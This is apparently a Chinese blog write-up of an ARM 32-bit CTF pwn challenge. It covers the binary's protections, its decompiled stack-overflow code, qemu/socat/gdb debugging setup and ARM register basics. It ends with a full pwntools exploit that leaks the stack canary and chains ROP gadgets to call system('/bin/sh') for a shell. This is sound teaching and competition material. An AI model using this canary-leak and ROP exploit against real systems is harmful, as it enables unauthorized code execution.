嗯,这次打冬令营预选赛有道 arm-pwn 没看。为哈~ 之前没做过 arm 指令集的 pwn 所以心里有点没底气,去看其它安卓逆向了 = =。后面启飞讲了一下,自己 ida 脱进去看了一下,卧槽。。。好简单,就是一个栈溢出然后做 rop,当然这里的简单指的是逻辑,具体的还需学习一下。
分析
保护情况
1 2 3 4 5 6
| '/Users/carlstar/Desktop/arm-pwn/attachment/pwn' Arch: arm-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x10000)
|
程序初始化,有 system 函数,可以考虑返回到这里,参数自己布置。
1 2 3 4 5 6 7
| int sub_1066C() { setbuf((FILE *)stdin, 0); setbuf((FILE *)stdout, 0); setbuf((FILE *)stderr, 0); return system("clear"); }
|
主要功能,很明显在 puts 后有一个栈溢出,但是有 canary nx 如果可以泄漏 canary 可以考虑做 rop。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int sub_106D0() { int n; char buf; char s;
sub_1066C(); memset(&s, 0, 0x18u); memset(&buf, 0, 0x14u); read(0, &buf, 0x14u); n = snprintf(&s, 0x18u, "Hello %sJUst For Fun\n", &buf); write(1, &s, n); puts("Come On"); read(0, &s, 0x100u); return 0; }
|
basic knowledge
调试 arm 需要相关环境,需要知道相关的汇编知识。 arm 汇编比较蛋疼,哈哈。
安装qemu
依赖库安装
1
| sudo apt-get install -y gcc-arm-linux-gnueabi
|
动态调试
使程序运行在 10002 端口 -L 指定程序运行时所需要的链接库
1
| socat tcp-l:10002,fork exec:"qemu-arm -L /usr/arm-linux-gnueabi ./pwn",reuseaddr &
|
-g 是可以使程序在运行中 attach,方便我们调试。
1
| socat tcp-l:10002,fork exec:"qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./pwn",reuseaddr &
|
可以在脚本中,当连接服务器后,暂停执行,等待调试器 attach
1 2
| p = remote("127.0.0.1", 10002) pause() # 等待调试 attach ,并让目标程序继续执行
|
当连接到 socat 监听的端口后,脚本会暂停,这时使用 gdb 连接上去就可以调试了。
1 2
| gdb-multiarch pwn -q target remote:1234
|
汇编相关知识
1 2 3 4 5 6 7 8 9 10 11 12
| R:Register;寄存器 PC:Program Counter;程序计数器 //windows 中 EIP CPSR:Current Program Status Register;当前程序状态寄存器 SPSR:Saved Program Status Register;保存的程序状态寄存器 SP:Stack Pointer;数据栈指针 LR:Link Register;连接寄存器 SB:静态基址寄存器 SL:数据栈限制指针 FP:帧指针 IP:Intra-Procedure-call Scratch Register;内部程序调用暂存寄存器
r11是optional的,被称为FP,即frame pointer
|

gdb
当我们输入 20 个字符的时候可以泄漏出 canary,剩下的就是常规的 rop 了。

找一下 gadgets,看看有什么可以利用的。这里必须说一下和因特尔指令集不同,x86-arm 传参是从r0 -> r3 其他的通过栈进行传递。

分析gadgets,有如下利用。
1 2
| r0 ---> /bin/sh r3 ---> addr_system
|
exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
t = remote('192.168.5.147', 10002)
payload = 'a' * 20
t.send(payload) canary = u32(t.recvline()[36:40]) log.info('canary: ' + hex(canary)) pop_7 = 0x10804 mov_r0 = 0x107f4 binsh = 0x21044 addr_sys = 0x104FC pop_pc = 0x104a8 payload2 = fit({0x18:[p32(canary),p32(0xdeadbeef),p32(pop_7),p32(0),p32(0),p32(0),p32(binsh),p32(0),p32(0),p32(0),p32(pop_pc),p32(addr_sys),p32(mov_r0)]}) t.send(payload2) t.interactive()
|
